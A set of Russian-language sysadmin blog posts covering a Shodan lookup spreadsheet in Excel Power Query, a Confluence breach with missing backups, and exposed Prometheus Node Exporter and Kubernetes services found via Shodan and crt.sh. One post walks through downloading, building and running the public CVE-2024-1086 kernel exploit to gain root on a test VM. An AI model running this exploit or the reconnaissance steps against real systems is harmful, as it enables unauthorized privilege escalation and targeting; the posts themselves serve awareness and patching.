Вся информация, что у них есть, выдаётся в виде json. В целом, ничего интересного. Я об этом знал и писать не собирался. Но моё внимание привлёк один комментарий со ссылкой на excel таблицу, где можно в одном листе задать список IP адресов, сделать запрос в этот сервис и на другой получить в таблице вывод в удобном виде.

Вот эта штука меня заинтересовала. Стало любопытно, как это реализовано в Excel. Тут я завис надолго, так как не знаком с подобными возможностями. Разбирался методом тыка сам, но в итоге освоил инструмент. Он на удивление удобен и функционален, поэтому и решил о нём написать. Можно забирать какой-нибудь json, парсить его и выводить в удобочитаемом виде в таблицах. Это много где может пригодиться.

Работает это с помощью встроенного инструмента Excel Power Query. Конкретно с shodan работа выглядит так:

1️⃣ На первом листе формируем список IP адресов для анализа.
2️⃣ Добавляем источник данных из интернета в виде ссылки https://internetdb.shodan.io/, где в конце в качестве аргументов передаём список IP адресов.
3️⃣ Получаем ответы от запросов, преобразуем их в читаемый вид в таблицах.

Привожу свой вариант таблицы: https://disk.yandex.ru/d/S2FNRDEcZpHBJQ Работать будет только в Excel. Можете использовать у себя, поменяв список IP адресов. Нужно его заполнить, перейти на вкладку Данные и нажать на Обновить все. Чтобы посмотреть, как там всё устроено, надо Запустить Редактор Power Query. Это отдельный раздел меню там же на вкладке Данные.

В редакторе добавлен один параметр в виде IP адреса 1.1.1.1, для него сформирован набор действий в виде запроса в shodan и обработки ответа. Далее эти действие превращены в функцию. И потом эта функция применяется на список IP адресов в листе. Результат выводится на второй лист.

Не знаю, зачем я всё это изучил 😁. Но мне кажется, может пригодится. Как минимум, эту табличку удобно использовать для себя. Добавить все IP адреса с комментариями и периодически глазами просматривать, что там есть интересного.

#security
​​Некоторое время назад была обнаружена любопытная уязвимость в ядре Linux, которая позволяет пользователю получить права root. Обратил на неё внимание и решил написать, потому что к ней существует очень простой эксплойт, который каждый может попробовать и оценить его эффективность. Это наглядно показывает, почему ОС лучше регулярно обновлять с перезагрузкой системы, чтобы загрузилось обновлённое ядро без уязвимости.

Речь идёт про CVE-2024-1086. Недавно по этой уязвимости было обновление, и прокатилась волна новостей по теме, поэтому я и обратил на неё внимание, хотя сама уязвимость ещё в январе была обнаружена. Уязвимости подвержены все необновлённые ядра Linux версий с 5.14 по 6.6.14. Я для теста взял виртуалку с уязвимым ядром и получил права root.

Есть репозиторий с готовый эксплойтом:

https://github.com/Notselwyn/CVE-2024-1086

Заходим в систему под юзером, смотрим ядро:

# uname -a
Linux ubuntu22-vm 6.2.0-1014-azure #14~22.04.1-Ubuntu SMP Wed Sep 13 16:15:26 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Ядро уязвимо. Клонируем репозиторий и собираем бинарник:

# git clone https://github.com/Notselwyn/CVE-2024-1086
# cd CVE-2024-1086
# make

Для успешной сборки нужны некоторые пакеты:

# apt install make gcc musl-tools

Если по какой-то причине не получится собрать, можете взять готовый бинарник:

# wget https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit
# chmod +x exploit

Запускаем эксплойт:

# ./exploit

Проверяем своего пользователя:

# id
uid=0(root) gid=0(root) groups=0(root)

Система при работе эксплоита может зависнуть, так что срабатывает через раз. В репозитории несколько обращений по этой теме. Тем не менее, с большой долей вероятности эксплоит срабатывает. Я проверял несколько раз.

И таких уязвимостей в ядре находят немало. Иногда смотрю какие-то разборы взломов. Там взломщики тем или иным образом попадают в систему, чаще всего через веб приложения или сайты. Смотрят версию ядра, проверяют уязвимости и готовые эксплоиты по публичным базам данных. Если под ядро есть эксплоит, то практически без проблем получают полные права.

❗️На всякий случай предупрежу, а то мало ли. Не проверяйте этот эксплойт на рабочих системах. Я чисто для демонстрации работы уязвимостей в ядре всё это показал, потому что подобное и раньше видел. Это типовая история. Проверять свои системы так не надо.

#security
​​Послушал недавно очень любопытное выступление про взлом Confluence у не самой маленькой компании. Иногда думаешь, что сам работаешь не идеально и где-то косячишь. Но когда смотришь такие выступления, понимаешь, что у тебя ещё всё нормально.

▶️ Как нам стерли всю базу в Confluence и как мы героически ее восстанавливали

Там классическая история произошла. У ребят была on-premise установка лицензионной Confluence. В какой-то момент обновить лицензию стало невозможно, но так как купленная была бессрочная, то решили дальше ей пользоваться, но без обновлений. А смотрела эта система веб интерфейсом в интернет на дедике в Hetzner. На Confluence и Jira была плотно завязана ежедневная деятельность компании.

Ну и в какой-то момент появилась RCE (Remote Code Execution) уязвимость. Через неё им грохнули всю базу данных. А там было много всего. Стали искать бэкапы. Оказалось, что на своей СХД давно уже закончилось место и бэкапы не делались, а на AWS S3 архивы не копировались, потому что протух токен. И случились обе неприятности более года назад ❗️

В итоге случайно нашли дамп базы данных на самом сервере, от времени, когда делали миграцию 8 месяцев назад с одной СУБД на другую. Этот бэкап развернули, а более свежие данные восстанавливали из писем в ящиках пользователей. Привлекли для этого дела Java программиста из штата. Многие пользователи были подписаны на свои темы и получали уведомления на почту, когда на страницах происходили изменения. Из этого можно было вытянуть какой-то недостающий контент.

Восстановили, конечно не всё. Но каким-то образом всё же пережили инцидент и после этого настроили Prometheus для мониторинга с уведомлениями в Telegram. Главное, чтобы туда токен не протух, а то можно также год без мониторинга жить. Сказали, что планируют ещё и бэкапы проверять, а не только за местом следить. Также спрятали веб интерфейс Confluence за VPN.

По факту на практике до сих пор бывает так, что в немаленькой компании, где есть отдельно отдел разработки, может не быть мониторинга, контроля и проверки бэкапов. С самой Confluenсe работало в районе 80-ти человек. То есть масштаб компании не сказать, что маленький.

По факту их бы спас простейший мониторинг свободного места на СХД, но его не было. Эта мысль не озвучивалась в выступлении, но мне показалось, что эта компания из тех, кто считает, что сисадмины особо не нужны. Если был бы один хотя бы на полставки, то был бы и мониторинг, и VPN.

Выступление получилось живое и интересное. Выступающие молодцы, что не побоялись рассказать, про такой масштабный свой косяк.

#security
Я много раз упоминал в заметках, что надо стараться максимально скрывать сервисы от доступа из интернета. И проверять это, потому что часто они туда попадают случайно из-за того, что что-то забыли или неверно настроили. Решил через shodan глянуть открытые Node Exporter от Prometheus. Они часто болтаются в открытом виде, потому что по умолчанию никаких ограничений доступа в них нет. Заходи, кто хочешь, и смотри, что там есть.

И первым же IP адресом с открытым Node Exporter, на который я зашёл, оказалась чья-то нода Kubernetes. Причём для меня она сразу стала не чей-то, а я конкретно нашёл, кому она принадлежит. Мало того, что сам Node Exporter вываливает просто кучу информации в открытый доступ. Например, по volumes от контейнеров стало понятно, какие сервисы там крутятся. Видны названия lvm томов, точки монтирования, информация о разделах и дисках, биос, материнка, версия ОС, система виртуализации и т.д.

На этом же IP висел Kubernetes API. Доступа к нему не было, он отдавал 401 Unauthorized. Но по сертификату, который доступен, в Alternative Name можно найти кучу доменов и сервисов, которые засветились на этом кластере. Я не знаю, по какому принципу они туда попадают, но я их увидел. Там я нашёл сервисы n8n, vaultwarden, freshrss. Не знаю, должны ли в данном случае их веб интерфейсы быть в открытом доступе или нет, но я в окна аутентификации от этих сервисов попал.

Там же нашёл информацию о блоге судя по всему владельца этого хозяйства. Плодовитый специалист из Бахрейна. Много open source проектов, которые он развивает и поддерживает. Там же резюме его как DevOps, разработчика, SysOps. Нашёл на поддоменах и прошлую версию блога, черновики и кучу каких-то других сервисов. Не стал уже дальше ковыряться.

Ссылки и IP адреса приводить не буду, чтобы не навредить этому человеку. Скорее всего это какие-то его личные проекты, но не факт. В любом случае, вываливать в открытый доступ всю свою подноготную смысла нет. Закрыть файрволом и нет проблем. Конечно, всё это так или иначе можно собрать. История выпущенных сертификатов и dns записей хранится в открытом доступе. Но тем не менее, тут всё вообще в куче лежит прямо на активном сервере.

Для тех, кто не в курсе, поясню, что всю историю выпущенных сертификатов конкретного домена со всеми поддоменами можно посмотреть тут:

https://crt.sh

Можете себя проверить.

#devops #security